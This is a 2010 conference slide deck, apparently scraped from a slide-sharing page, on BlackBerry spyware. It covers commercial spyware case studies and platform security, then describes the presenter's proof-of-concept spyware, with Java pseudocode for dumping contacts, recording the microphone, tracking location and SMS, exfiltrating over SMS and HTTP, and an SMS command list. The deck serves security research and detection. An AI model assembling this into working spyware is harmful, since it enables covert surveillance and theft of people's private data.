Blackberry Mobile Spyware
The Monkey Steals the Berries
Tyler Shields




February 5, 2010
Outline

 Introduction
 Case Studies of Mobile Spyware
 Blackberry Security Mechanisms
 Installation Methods
 Effects and Behaviors
 Technical Specifications
 Methods of Detection and Future Work
 Demonstration




© 2010 Veracode, Inc.                    2
Presenter Background

Currently
       Sr. Security Researcher, Veracode, Inc.

Previously
       Security Consultant - Symantec
       Security Consultant - @Stake
       Incident Response and Forensics
           Handler – US Government

Wishes He Was
       Infinitely Rich
       Personal Trainer to hot Hollywood
       starlets




© 2010 Veracode, Inc.                            3
Mobile Spyware

 Often includes modifications to
  legitimate programs designed to
  compromise the device or device
  data
 Often inserted by those who have
  legitimate access to source code or
  distribution binaries
 May be intentional or inadvertent
 Not specific to any particular
  programming language
 Not specific to any particular mobile
  Operating System


© 2010 Veracode, Inc.                     4
Attacker Motivation

 Practical method of compromise for many systems
      – Let the users install your backdoor on systems you have no access to
      – Looks like legitimate software so may bypass mobile AV
 Retrieve and manipulate valuable private data
      – Looks like legitimate application traffic so little risk of detection
 For high value targets such as financial services and government it
  becomes cost effective and more reliable
      – High-end attackers will not be content to exploit opportunistic vulnerabilities,
        which might be fixed and therefore unavailable at a critical juncture. They
        may seek to implant vulnerability for later exploitation
      – Think “Aurora” for Mobile Devices




© 2010 Veracode, Inc.                                                                      5
Back To The Future




© 2010 Veracode, Inc.   6
Back To The Future




© 2010 Veracode, Inc.   7
Case Studies of Mobile Spyware




© 2010 Veracode, Inc.                                    8
FlexiSpy

 http://www.flexispy.com
 $149 - $350 PER YEAR depending on features
 Features
      – Remote Listening
      – C&C Over SMS
      – SMS and Email Logging
      – Call History Logging
      – Location Tracking
      – Call Interception
      – GPS Tracking
      – Symbian, Blackberry, Windows Mobile Supported


© 2010 Veracode, Inc.                                   9
FlexiSpy Web Site Quotes

 “Download FlexiSPY spyphone software directly onto a mobile
  phone and receive copies of SMS, Call Logs, Emails, Locations and
  listen to conversations within minutes of purchase. “
 “Catch cheating wives or cheating husbands, stop employee
  espionage, protect children, make automatic backups, bug meetings
  rooms etc.”
 “F Secure seem to think that its ok for them to interfere with
  legitimate, legal and accountable software. Who appointed them
  judge, jury and executioner anyway, and why wont they answer our
  emails, so we have to ask who is the real malware? Here is how to
  remove FSecure malware from your device. Please don't believe the
  fsecure fear mongers who simply wish you to buy their products.”



© 2010 Veracode, Inc.                                                 10
Mobile Spy

 http://www.mobile-spy.com
 $49.97 PER QUARTER or $99.97 PER YEAR
 Features
      – SMS Logging
      – Call Logging
      – GPS Logging
      – Web URL Logging
      – BlackBerry, iPhone (Jailbroken Only), Android, Windows Mobile or Symbian




© 2010 Veracode, Inc.                                                              11
Mobile Spy Web Site Quotes

 “This high-tech spy software will allow you to see exactly what they
  do while you are away. Are your kids texting while driving or using
  the phone in all hours of the night? Are your employees sending
  company secrets? Do they erase their phone logs?”
 “Our software is not for use on a phone you do not own or have
  proper permission to monitor from the user or owner. You must
  always follow all applicable laws and regulations in your region.”
 “Purchased by more than 30,000 customers in over 150 countries”




© 2010 Veracode, Inc.                                                    12
Etisalat (SS8)

 Cell carrier in United Arab Emirates (UAE)
 Pushed via SMS as “software patch” for Blackberry smartphones
 Upgrade urged to “enhance performance” of Blackberry service
 Blackberry PIN messaging as C&C
 Sets FLAG_HIDDEN bit to true
 Interception of outbound email / SMS only
 Discovered due to flooded listener server cause retries that drained
  batteries of affected devices
 Accidentally released the .jar as well as the .cod (ooopsie?!)




© 2010 Veracode, Inc.                                                    13
Bugs & Phonesnoop

 Bugs
      – Exfiltration of inbound and outbound email
      – Hidden


 PhoneSnoop
      – Remotely turn on a Blackberry phone microphone
      – Listen in on target ambient conversation




© 2010 Veracode, Inc.                                    14
Storm8 Phone Number Farming

      – iMobsters and Vampires Live (and others)
      – “Storm8 has written the software for all its games in such a way that it
        automatically accesses, collects, and transmits the wireless telephone
        number of each iPhone user who downloads any Storm8 game," the suit
        alleges. " ... Storm8, though, has no reason whatsoever to access the
        wireless phone numbers of the iPhones on which its games are installed."
      – “Storm8 says that this code was used in development tests, only
        inadvertently remained in production builds, and removed as soon as it was
        alerted to the issue.”


      – These were available via the iTunes App Store!
      – http://www.boingboing.net/2009/11/05/iphone-game-dev-accu.html




© 2010 Veracode, Inc.                                                                15
Symbian Sexy Space

      – Poses as legitimate server ACSServer.exe
      – Calls itself 'Sexy Space„
      – Steals phone and network information
      – Exfiltrates data via hacker owned web site connection
      – Can SPAM contact list members
      – Basically a “botnet” for mobile phones
      – Signing process
            Anti-virus scan using F-Secure
                - Approx 43% proactive detection rate (PCWorld)
            Random selection of inbound manually assessed
      – Symbian signed this binary as safe!
      – http://news.zdnet.co.uk/security/0,1000000189,39684313,00.htm


© 2010 Veracode, Inc.                                                   16
09Droid – Banking Applications Attack

      – Droid app that masquerades as any number of different target banking
        applications
      – Target banks included
            Royal Bank of Canada
            Chase
            BB&T
            SunTrust
            Over 50 total financial institutions were affected
      – May steal and exfiltrate banking credentials
      – Approved and downloaded from Google’s Android Marketplace!
      – http://www.theinquirer.net/inquirer/news/1585716/fraud-hits-android-apps-
        market
      – http://www.pcadvisor.co.uk/news/index.cfm?RSS&NewsID=3209953
      – http://www.f-secure.com/weblog/archives/00001852.html
© 2010 Veracode, Inc.                                                               17
Blackberry Security Mechanisms




© 2010 Veracode, Inc.                                    18
Blackberry Takes Security Seriously

 KB05499: Protecting the BlackBerry smartphone and BlackBerry
  Enterprise Server against malware
  http://www.blackberry.com/btsc/search.do?cmd=displayKC&docTyp
  e=kc&externalId=KB05499
 Protecting the BlackBerry device platform against malware
  http://docs.blackberry.com/en/admin/deliverables/1835/Protecting
  the BlackBerry device platform against malware.pdf
 Placing the BlackBerry Enterprise Solution in a segmented network
  http://docs.blackberry.com/en/admin/deliverables/1460/Placing_the_
  BlackBerry_Enterprise_Solution_in_a_Segmented_Network.pdf
 BlackBerry Enterprise Server Policy Reference Guide
  http://docs.blackberry.com/en/admin/deliverables/7228/Policy_Refer
  ence_Guide.pdf

© 2010 Veracode, Inc.                                                  19
Does It Really Matter?!




    Only 23% of smartphone owners use the security software
                   installed on the devices.
    (Source: Trend Micro Inc. survey of 1,016 U.S. smartphone users, June 2009)


    13% of organizations currently protect from mobile viruses
                        (Mobile Security 2009 Survey by Goode Intelligence)




© 2010 Veracode, Inc.                                                             20
Code Signing

 Subset of Blackberry API considered “controlled”
 Use of controlled package, class, or method requires appropriate
  code signature
 Blackberry Signature Tool comes with the Blackberry JDE
 Acquire signing keys by filling out a web form and paying $20
      – This not is a high barrier to entry
      – 48 hours later you receive signing keys
 Install keys into signature tool




© 2010 Veracode, Inc.                                                21
Code Signing Process

 Hash of code sent to RIM for API tracking purposes only
 RIM does not get source code
 COD file is signed based on required keys
 Application ready to be deployed


 Easy to acquire anonymous keys




© 2010 Veracode, Inc.                                       22
IT Policies

 Requires connection to Blackberry Enterprise Server (BES)
 Supersedes lower levels of security restrictions
 Prevent devices from downloading third-party applications over
  wireless
 Prevent installation of specific third-party applications
 Control permissions of third party applications
      – Allow Internal Connections
      – Allow Third-Party Apps to Use Serial Port
      – Allow External Connections
 MOSTLY “Default Allow All” policy for BES and non-BES
  devices


© 2010 Veracode, Inc.                                              23
Application Policies

 Can be controlled at the BES
 If no BES present, controls are set on the handheld itself
 Can only be MORE restrictive than the IT policy, never less
 Control individual resource access per application
 Control individual connection access per application
 MOSTLY “Default Allow All” policy for BES and non-BES
  devices




© 2010 Veracode, Inc.                                           24
V4.7.0.148 Default 3rd Party Application Permissions


                          Bluetooth        Phone
USB Connections                                            Location Data
                         Connections     Connections


                           Internet           IPC         Device Settings


                         Application
          Media                             Themes        Input Simulation
                        Management


                                         Security Timer
 Browser Filtering        Recording
                                            Reset


      Email Data        Organizer Data       Files         Security Data


© 2010 Veracode, Inc.                                                        25
V5.0.0.328 Default 3rd Party Application Permissions


                          Bluetooth        Phone
USB Connections                                             Location Data
                         Connections     Connections


  Server Network           Internet           IPC          Device Settings


                         Application
          Media                             Themes         Input Simulation
                        Management


                                         Security Timer   Display Information
 Browser Filtering        Recording
                                            Reset            While Locked


      Email Data        Organizer Data       Files          Security Data


© 2010 Veracode, Inc.                                                         26
V5.0.0.328 Trusted 3rd Party Application Permissions


                          Bluetooth        Phone
USB Connections                                             Location Data
                         Connections     Connections


  Server Network           Internet           IPC          Device Settings


                         Application
          Media                             Themes         Input Simulation
                        Management


                                         Security Timer   Display Information
 Browser Filtering        Recording
                                            Reset            While Locked


      Email Data        Organizer Data       Files          Security Data


© 2010 Veracode, Inc.                                                         27
Installation Methods




© 2010 Veracode, Inc.                          28
Installation Methods

 Accessing a web site using the BlackBerry Browser and choosing to
  download the application over the network (OTA Installation)
 Running the application loader tool of the BlackBerry Desktop
  Manager and choosing to download the application onto the
  BlackBerry device using a physical connection to the computer
 Blackberry BES push the application to your user community


 Get it into the Blackberry App World and let the user choose to
  install it for you!




© 2010 Veracode, Inc.                                                 29
Installation Files

 .COD files: A COD file is a proprietary file format developed by RIM
  that contains compiled and packaged application code.
 .JAD files: An application descriptor that stores information about
  the application itself and the location of .COD files
 .JAR files: a JAR file (or Java ARchive) is used for aggregating
  many files into one. It is generally used to distribute Java classes
  and associated metadata.
 .ALX files: Similar to the .JAD file, in that it holds information about
  where the installation files for the application are located




© 2010 Veracode, Inc.                                                        30
txsBBSpy Effects and Behaviors




© 2010 Veracode, Inc.                                    31
txsBBSpy Logging and Dumping

               Monitor connected / disconnected calls
               Monitor PIM added / removed / updated
               Monitor inbound SMS
               Monitor outbound SMS
               Real Time track GPS coordinates



               Dump all contacts
               Dump current location
               Dump phone logs
               Dump email
               Dump microphone capture (security prompted)



© 2010 Veracode, Inc.                                        32
txsBBSpy Exfiltration and C&C Methods

               SMS (No CDMA)
               SMS Datagrams (Supports CDMA)
               Email
               HTTP GET
               HTTP POST
               TCP Socket
               UDP Socket




                Command and control hard coded to inbound SMS




© 2010 Veracode, Inc.                                           33
txsBBSpy Technical Specifications




© 2010 Veracode, Inc.                                       34
Technical Methods




 Data Dumpers
 Listeners
 Exfiltration Methods
 Command and Control




© 2010 Veracode, Inc.    35
Dump Contact Information
 API
     – javax.microedition.pim
     – net.rim.blackberry.API.pdap
 Pseudocode
   PIM pim = PIM.getInstance();
   BlackBerryPIMList contacts = (BlackBerryPIMList)
   pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY);
   Enumeration eContacts = contacts.items();
   Contact contact = (Contact) eContacts.nextElement();
    if (contacts.isSupportedField(Contact.EMAIL)) {
     if (contact.countValues(Contact.EMAIL) > 0) email =
   contact.getString(Contact.EMAIL, 0);
    }



© 2010 Veracode, Inc.                                      36
Dump Microphone
 API
     – javax.microedition.media.control
     – javax.microedition.media.manager
     – javax.microedition.media.player
 Pseudocode
     Player p = Manager.createPlayer("capture://audio");
     RecordControl rc = (RecordControl)p.getControl("RecordControl");
     ByteArrayOutputStream os = new ByteArrayOutputStream();
     rc.setRecordStream(os);
     rc.startRecord();




© 2010 Veracode, Inc.                                                   37
Location Listener

 Create the class that implements LocationListener Interface
 Get LocationProvider instance
 Add LocationListener
 API
      – javax.microedition.location.LocationProvider.getInstance
      – javax.microedition.location.LocationProvider.setLocationListener
 Pseudocode
    ll = new LocListener();
    lp = LocationProvider.getInstance(null);
    lp.setLocationListener(ll, 1, 1, 1);




© 2010 Veracode, Inc.                                                      38
SMS Outbound Listener

 Create class that implements “SendListener” interface
 Add the SendListener
 API
      – net.rim.blackberry.api.sms.SMS
      – javax.wireless.messaging.TextMessage
 Pseudocode
    sl = new SMSOUTListener();
    SMS.addSendListener(sl);




© 2010 Veracode, Inc.                                     39
PIM Listener

 Create the class that implements PIMListListener Interface
 Open Target PIMList and Add PIMListListener
 API
      – javax.microedition.pim.PIM.getInstance()
      – net.rim.blackberry.api.pdap.BlackBerryPIMList.addListener
 Pseudocode
    pl = new PhoneLogger();
    pim = PIM.getInstance();
    contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST,
          PIM.READ_ONLY);
    contacts.addListener(piml);




© 2010 Veracode, Inc.                                                  40
SMS Datagram Exfiltration

 API
      – javax.microedition.io.Connector
      – javax.microedition.io.DatagramConnection
      – javax.microedition.io.Datagram
 Pseudocode
    DatagramConnection dc =
          (DatagramConnection)Connector.open("sms://"+this.pnum+":3590
    ");
    Datagram d = dc.newDatagram(dc.getMaximumLength());
    byte[] buf = msg.getBytes();
    d.setData(buf, 0, buf.length);
    d.write(buf, 0, buf.length);
    dc.send(d);


© 2010 Veracode, Inc.                                                    41
HTTP Get/Post Exfiltration

 API
      – javax.microedition.io.Connector
      – javax.microedition.io.HttpConnection
 Pseudocode
    c = (HttpConnection)Connector.open("http://"+this.url+"/“+msg);
    rc = c.getResponseCode();
    if (rc != HttpConnection.HTTP_OK) {


    c.setRequestMethod(HttpConnection.POST);
    c.setRequestProperty("User-Agent", "BBSpyware|"+msg);
    c.setRequestProperty("Content-Language", "en-US");
    os = c.openOutputStream();
    os.write(msg.getBytes());

© 2010 Veracode, Inc.                                                 42
Threaded Exfiltration

 Listener based exfiltration methods use separate thread
 Doesn‟t freeze UI interface
 Queues messages outbound if network is slow
 ThreadedSend extends Thread class
 Uses run() method to call exfiltrate()




© 2010 Veracode, Inc.                                       43
Command and Control

 initCandC(int a)
      – Initializes inbound SMS listener if passed a == 1
      – Kills spyware otherwise
      – Listens for commands and acts accordingly

        TXSDIE           TXSPHLON        TXSPHLOFF        TXSPIMON        TXSPIMOFF

     TXSSLINON           TXSSLINOFF      TXSSLOUTON     TXSSLOUTOFF        TXSGLON

     TXSGLOFF           TXSEXFILSMS     TXSEXFILSMSDG   TXSEXFILEMAIL    TXSEXFILGET

  TXSEXFILPOST          TXSEXFILTCP      TXSEXFILUDP    TXSDUMPCON       TXSDUMPGPS

    TXSDUMPPL           TXSDUMPEMAIL     TXSDUMPMIC         TXSIP:[IP]   TXSEM:[EMAIL]

 TXSPORT[PORT]          TXSPHONE:[PN]    TXSURL[URL]    TXSGTIME:[N]       TXSPING




© 2010 Veracode, Inc.                                                                    44
Methods of Detection and Future Work




© 2010 Veracode, Inc.                                          45
Methods of Detection

 Additional Operating System Prompts
      – Remove the “Trust Application” prompt requiring individual configuration
 Signature Based
      – This is how the current anti-virus world is failing
 Sandbox Based Execution Heuristics
      – Still requires execution in a sandbox and is reactive
      – Can‟t ensure complete execution
 Static Decompilation and Analysis
      – Enumeration of sources of sensitive taint and exfiltration sinks
      – Control/Data flow mapping for tracing sensitive taint from source to sink
      – Compare findings against expected values


© 2010 Veracode, Inc.                                                               46
Future Work (Offensive AND Defensive)

 Reverse engineer .cod file format
 Continued research into unobstructed installation methods (requires
  exploitation)
 Infect PC with virus that acts as distribution hub
 Research additional exfiltration methods for tunneling without
  prompting




© 2010 Veracode, Inc.                                                   47
Demonstration




© 2010 Veracode, Inc.                   48
Conclusion

 Mobile spyware is trivial to write
 Minimal methods of real time eradication or detection of spyware
  type activities
 Security model of mobile platforms too loose
 No easy/automated way to confirm for ourselves what the
  applications are actually doing
 We are currently trusting the vendor application store provider for the
  majority of our mobile device security




© 2010 Veracode, Inc.                                                   49
The Monkey Steals the Berries!
                                Questions?
© 2010 Veracode, Inc.                                    50
Questions?

More Related Content

PPTX
IQT 2010 - The App Does That!?
PDF
Les 10 risques liés aux applications mobiles
PPTX
Securing hand held computing devices
PDF
BETTER- Threat Whitepaper- PoS
PDF
(Pdf) yury chemerkin hacktivity_2013
PPTX
ANDROID SECURITY
PDF
Evolutionand impactofhiddenmobilethreats wandera
PDF
Top 6-Security-Threats-on-iOS
IQT 2010 - The App Does That!?
Les 10 risques liés aux applications mobiles
Securing hand held computing devices
BETTER- Threat Whitepaper- PoS
(Pdf) yury chemerkin hacktivity_2013
ANDROID SECURITY
Evolutionand impactofhiddenmobilethreats wandera
Top 6-Security-Threats-on-iOS

What's hot (19)

PDF
Security News bytes October 2013
PPTX
Protect your IPPBX against VOIP attacks
PDF
SmartCard Forum 2011 - Evolution of authentication market
PDF
Praetorian Veracode Webinar - Mobile Privacy
PDF
10940 img sytr12_mobile_malware
PDF
(Pdf) yury chemerkin _ath_con_2013
PDF
afam_portfolio
PDF
(Pdf) yury chemerkin hackfest.ca_2013
PDF
Make Mobilization Work - Properly Implementing Mobile Security
PDF
Outsmarting Hackers before your App gets Hacked - iOS Conf SG 2016
PDF
Securing Mobile Apps - Appfest Version
PDF
CIS 2015 Mobile Security, Identity & Authentication: Reasons for Optimism - R...
PDF
TheGRID - Stop Identity Theft
PDF
CIS14: FIDO 101 (What, Why and Wherefore of FIDO)
PDF
Mobile Application Security
PDF
Face expressions, facial features, kinect sensor, face tracking SDK, neural n...
PPTX
Authshield integration with mails
PPTX
Botnet
PPTX
Enterprise Mobile Security
Security News bytes October 2013
Protect your IPPBX against VOIP attacks
SmartCard Forum 2011 - Evolution of authentication market
Praetorian Veracode Webinar - Mobile Privacy
10940 img sytr12_mobile_malware
(Pdf) yury chemerkin _ath_con_2013
afam_portfolio
(Pdf) yury chemerkin hackfest.ca_2013
Make Mobilization Work - Properly Implementing Mobile Security
Outsmarting Hackers before your App gets Hacked - iOS Conf SG 2016
Securing Mobile Apps - Appfest Version
CIS 2015 Mobile Security, Identity & Authentication: Reasons for Optimism - R...
TheGRID - Stop Identity Theft
CIS14: FIDO 101 (What, Why and Wherefore of FIDO)
Mobile Application Security
Face expressions, facial features, kinect sensor, face tracking SDK, neural n...
Authshield integration with mails
Botnet
Enterprise Mobile Security
Ad

Viewers also liked (12)

PPTX
Eating in the school cafeteria
PDF
School Cafeteria Point-of-Sale
PPT
School cafeteria 4
PPTX
PR Plan for School Cafeteria (Yonsei Univ. Korea)
PPTX
PPT on Canteen project - Strategic Management- shubham-Saraswatbba-2012
PPTX
Canteen management system
PPTX
Canteen management system of “himalayan academy” sapana
DOCX
Canteen management
PPTX
Canteen project
PDF
a study of the facilities given by the canteens and its efect on student sati...
PPTX
Canteen Management System
PPTX
Canteen management system
Eating in the school cafeteria
School Cafeteria Point-of-Sale
School cafeteria 4
PR Plan for School Cafeteria (Yonsei Univ. Korea)
PPT on Canteen project - Strategic Management- shubham-Saraswatbba-2012
Canteen management system
Canteen management system of “himalayan academy” sapana
Canteen management
Canteen project
a study of the facilities given by the canteens and its efect on student sati...
Canteen Management System
Canteen management system
Ad

Similar to Shmoocon 2010 - The Monkey Steals the Berries (20)

PDF
Droidcon2013 security genes_trendmicro
PDF
Info security - mobile approach
PDF
Mobile Threats and Owasp Top 10 Risks
PDF
Malware on Smartphones and Tablets - The Inconvenient Truth
PDF
When developers api simplify user mode rootkits development – part ii
PDF
F-Secure: Mobile malware monetization
PDF
Android mobile platform security and malware survey
PDF
Android mobile platform security and malware
PDF
Can You Steal From Me Now? Mobile and BYOD Security Risks
PDF
Mobile Security for Smartphones and Tablets
PPT
Mobile code mining for discovery and exploits nullcongoa2013
PPTX
NETC 2012_Mobile Security for Smartphones and Tablets (pptx)
PDF
When developers api simplify user mode rootkits development – part ii
ODP
Mobile security 8soft_final_summercamp2011
PDF
ISACA CACS 2012 - Mobile Device Security and Privacy
PDF
How Android Based Phone Helped Me Win American Idol (Elad Shapira)
PDF
YURY_CHEMERKIN__ICITST-2012_Proceedings.pdf
PDF
Mobile security - Intense overview
PDF
Mobile Malware
Droidcon2013 security genes_trendmicro
Info security - mobile approach
Mobile Threats and Owasp Top 10 Risks
Malware on Smartphones and Tablets - The Inconvenient Truth
When developers api simplify user mode rootkits development – part ii
F-Secure: Mobile malware monetization
Android mobile platform security and malware survey
Android mobile platform security and malware
Can You Steal From Me Now? Mobile and BYOD Security Risks
Mobile Security for Smartphones and Tablets
Mobile code mining for discovery and exploits nullcongoa2013
NETC 2012_Mobile Security for Smartphones and Tablets (pptx)
When developers api simplify user mode rootkits development – part ii
Mobile security 8soft_final_summercamp2011
ISACA CACS 2012 - Mobile Device Security and Privacy
How Android Based Phone Helped Me Win American Idol (Elad Shapira)
YURY_CHEMERKIN__ICITST-2012_Proceedings.pdf
Mobile security - Intense overview
Mobile Malware

More from Tyler Shields (20)

PDF
The New Mobile Landscape - OWASP Ireland
PPTX
Defending Behind the Mobile Device
PDF
Avoiding the Pandora Pitfall
PPTX
Social and Mobile and Cloud - OH MY!
PPTX
Social Media Basics: Security Loopholes with Twitter & Other Social Media
PDF
United Security Summit 2011 - Using the Mobile Top 10 as a Guide to Assessing...
PDF
Survey of Rootkit Technologies and Their Impact on Digital Forensics
PDF
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
PDF
Source Boston 2010 - The Monkey Steals the Berries Part Deux
PDF
Software Developers Forum 2010 - The Monkey Steals the Berries
PDF
Raleigh ISSA 2010 - The Monkey Steals the Berries
PDF
Static Detection of Application Backdoors
PDF
Blackhat Europe 2009 - Detecting Certified Pre Owned Software
PDF
Anti-Debugging - A Developers View
PDF
Owasp Ireland - The State of Software Security
PDF
More Apps More Problems
PDF
Dirty Little Secret - Mobile Applications Invading Your Privacy
PDF
IT Hot Topics - Mobile Security Threats at Every Layer
PDF
IT Hot Topics 2010 - The Coming Wave of Smartphone Attacks
PDF
iSec Forum NYC - Smartphone Backdoors an Analysis of Mobile Spyware
The New Mobile Landscape - OWASP Ireland
Defending Behind the Mobile Device
Avoiding the Pandora Pitfall
Social and Mobile and Cloud - OH MY!
Social Media Basics: Security Loopholes with Twitter & Other Social Media
United Security Summit 2011 - Using the Mobile Top 10 as a Guide to Assessing...
Survey of Rootkit Technologies and Their Impact on Digital Forensics
Source Boston 2009 - Anti-Debugging A Developers Viewpoint
Source Boston 2010 - The Monkey Steals the Berries Part Deux
Software Developers Forum 2010 - The Monkey Steals the Berries
Raleigh ISSA 2010 - The Monkey Steals the Berries
Static Detection of Application Backdoors
Blackhat Europe 2009 - Detecting Certified Pre Owned Software
Anti-Debugging - A Developers View
Owasp Ireland - The State of Software Security
More Apps More Problems
Dirty Little Secret - Mobile Applications Invading Your Privacy
IT Hot Topics - Mobile Security Threats at Every Layer
IT Hot Topics 2010 - The Coming Wave of Smartphone Attacks
iSec Forum NYC - Smartphone Backdoors an Analysis of Mobile Spyware

Recently uploaded (20)

PDF
4 layer Arch & Reference Arch of IoT.pdf
PDF
Convolutional neural network based encoder-decoder for efficient real-time ob...
PDF
Electrocardiogram sequences data analytics and classification using unsupervi...
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
PDF
NewMind AI Weekly Chronicles – August ’25 Week IV
PPTX
SGT Report The Beast Plan and Cyberphysical Systems of Control
PDF
A symptom-driven medical diagnosis support model based on machine learning te...
PDF
The-Future-of-Automotive-Quality-is-Here-AI-Driven-Engineering.pdf
PPTX
Training Program for knowledge in solar cell and solar industry
PDF
LMS bot: enhanced learning management systems for improved student learning e...
PDF
IT-ITes Industry bjjbnkmkhkhknbmhkhmjhjkhj
PPTX
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
PDF
Rapid Prototyping: A lecture on prototyping techniques for interface design
PDF
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
PDF
Co-training pseudo-labeling for text classification with support vector machi...
PPTX
MuleSoft-Compete-Deck for midddleware integrations
PPTX
future_of_ai_comprehensive_20250822032121.pptx
DOCX
Basics of Cloud Computing - Cloud Ecosystem
PDF
Dell Pro Micro: Speed customer interactions, patient processing, and learning...
PDF
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf
4 layer Arch & Reference Arch of IoT.pdf
Convolutional neural network based encoder-decoder for efficient real-time ob...
Electrocardiogram sequences data analytics and classification using unsupervi...
Early detection and classification of bone marrow changes in lumbar vertebrae...
NewMind AI Weekly Chronicles – August ’25 Week IV
SGT Report The Beast Plan and Cyberphysical Systems of Control
A symptom-driven medical diagnosis support model based on machine learning te...
The-Future-of-Automotive-Quality-is-Here-AI-Driven-Engineering.pdf
Training Program for knowledge in solar cell and solar industry
LMS bot: enhanced learning management systems for improved student learning e...
IT-ITes Industry bjjbnkmkhkhknbmhkhmjhjkhj
AI-driven Assurance Across Your End-to-end Network With ThousandEyes
Rapid Prototyping: A lecture on prototyping techniques for interface design
CXOs-Are-you-still-doing-manual-DevOps-in-the-age-of-AI.pdf
Co-training pseudo-labeling for text classification with support vector machi...
MuleSoft-Compete-Deck for midddleware integrations
future_of_ai_comprehensive_20250822032121.pptx
Basics of Cloud Computing - Cloud Ecosystem
Dell Pro Micro: Speed customer interactions, patient processing, and learning...
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf

Shmoocon 2010 - The Monkey Steals the Berries

  • 1. Blackberry Mobile Spyware The Monkey Steals the Berries Tyler Shields February 5, 2010
  • 2. Outline  Introduction  Case Studies of Mobile Spyware  Blackberry Security Mechanisms  Installation Methods  Effects and Behaviors  Technical Specifications  Methods of Detection and Future Work  Demonstration © 2010 Veracode, Inc. 2
  • 3. Presenter Background Currently Sr. Security Researcher, Veracode, Inc. Previously Security Consultant - Symantec Security Consultant - @Stake Incident Response and Forensics Handler – US Government Wishes He Was Infinitely Rich Personal Trainer to hot Hollywood starlets © 2010 Veracode, Inc. 3
  • 4. Mobile Spyware  Often includes modifications to legitimate programs designed to compromise the device or device data  Often inserted by those who have legitimate access to source code or distribution binaries  May be intentional or inadvertent  Not specific to any particular programming language  Not specific to any particular mobile Operating System © 2010 Veracode, Inc. 4
  • 5. Attacker Motivation  Practical method of compromise for many systems – Let the users install your backdoor on systems you have no access to – Looks like legitimate software so may bypass mobile AV  Retrieve and manipulate valuable private data – Looks like legitimate application traffic so little risk of detection  For high value targets such as financial services and government it becomes cost effective and more reliable – High-end attackers will not be content to exploit opportunistic vulnerabilities, which might be fixed and therefore unavailable at a critical juncture. They may seek to implant vulnerability for later exploitation – Think “Aurora” for Mobile Devices © 2010 Veracode, Inc. 5
  • 6. Back To The Future © 2010 Veracode, Inc. 6
  • 7. Back To The Future © 2010 Veracode, Inc. 7
  • 8. Case Studies of Mobile Spyware © 2010 Veracode, Inc. 8
  • 9. FlexiSpy  http://www.flexispy.com  $149 - $350 PER YEAR depending on features  Features – Remote Listening – C&C Over SMS – SMS and Email Logging – Call History Logging – Location Tracking – Call Interception – GPS Tracking – Symbian, Blackberry, Windows Mobile Supported © 2010 Veracode, Inc. 9
  • 10. FlexiSpy Web Site Quotes  “Download FlexiSPY spyphone software directly onto a mobile phone and receive copies of SMS, Call Logs, Emails, Locations and listen to conversations within minutes of purchase. “  “Catch cheating wives or cheating husbands, stop employee espionage, protect children, make automatic backups, bug meetings rooms etc.”  “F Secure seem to think that its ok for them to interfere with legitimate, legal and accountable software. Who appointed them judge, jury and executioner anyway, and why wont they answer our emails, so we have to ask who is the real malware? Here is how to remove FSecure malware from your device. Please don't believe the fsecure fear mongers who simply wish you to buy their products.” © 2010 Veracode, Inc. 10
  • 11. Mobile Spy  http://www.mobile-spy.com  $49.97 PER QUARTER or $99.97 PER YEAR  Features – SMS Logging – Call Logging – GPS Logging – Web URL Logging – BlackBerry, iPhone (Jailbroken Only), Android, Windows Mobile or Symbian © 2010 Veracode, Inc. 11
  • 12. Mobile Spy Web Site Quotes  “This high-tech spy software will allow you to see exactly what they do while you are away. Are your kids texting while driving or using the phone in all hours of the night? Are your employees sending company secrets? Do they erase their phone logs?”  “Our software is not for use on a phone you do not own or have proper permission to monitor from the user or owner. You must always follow all applicable laws and regulations in your region.”  “Purchased by more than 30,000 customers in over 150 countries” © 2010 Veracode, Inc. 12
  • 13. Etisalat (SS8)  Cell carrier in United Arab Emirates (UAE)  Pushed via SMS as “software patch” for Blackberry smartphones  Upgrade urged to “enhance performance” of Blackberry service  Blackberry PIN messaging as C&C  Sets FLAG_HIDDEN bit to true  Interception of outbound email / SMS only  Discovered due to flooded listener server cause retries that drained batteries of affected devices  Accidentally released the .jar as well as the .cod (ooopsie?!) © 2010 Veracode, Inc. 13
  • 14. Bugs & Phonesnoop  Bugs – Exfiltration of inbound and outbound email – Hidden  PhoneSnoop – Remotely turn on a Blackberry phone microphone – Listen in on target ambient conversation © 2010 Veracode, Inc. 14
  • 15. Storm8 Phone Number Farming – iMobsters and Vampires Live (and others) – “Storm8 has written the software for all its games in such a way that it automatically accesses, collects, and transmits the wireless telephone number of each iPhone user who downloads any Storm8 game," the suit alleges. " ... Storm8, though, has no reason whatsoever to access the wireless phone numbers of the iPhones on which its games are installed." – “Storm8 says that this code was used in development tests, only inadvertently remained in production builds, and removed as soon as it was alerted to the issue.” – These were available via the iTunes App Store! – http://www.boingboing.net/2009/11/05/iphone-game-dev-accu.html © 2010 Veracode, Inc. 15
  • 16. Symbian Sexy Space – Poses as legitimate server ACSServer.exe – Calls itself 'Sexy Space„ – Steals phone and network information – Exfiltrates data via hacker owned web site connection – Can SPAM contact list members – Basically a “botnet” for mobile phones – Signing process  Anti-virus scan using F-Secure - Approx 43% proactive detection rate (PCWorld)  Random selection of inbound manually assessed – Symbian signed this binary as safe! – http://news.zdnet.co.uk/security/0,1000000189,39684313,00.htm © 2010 Veracode, Inc. 16
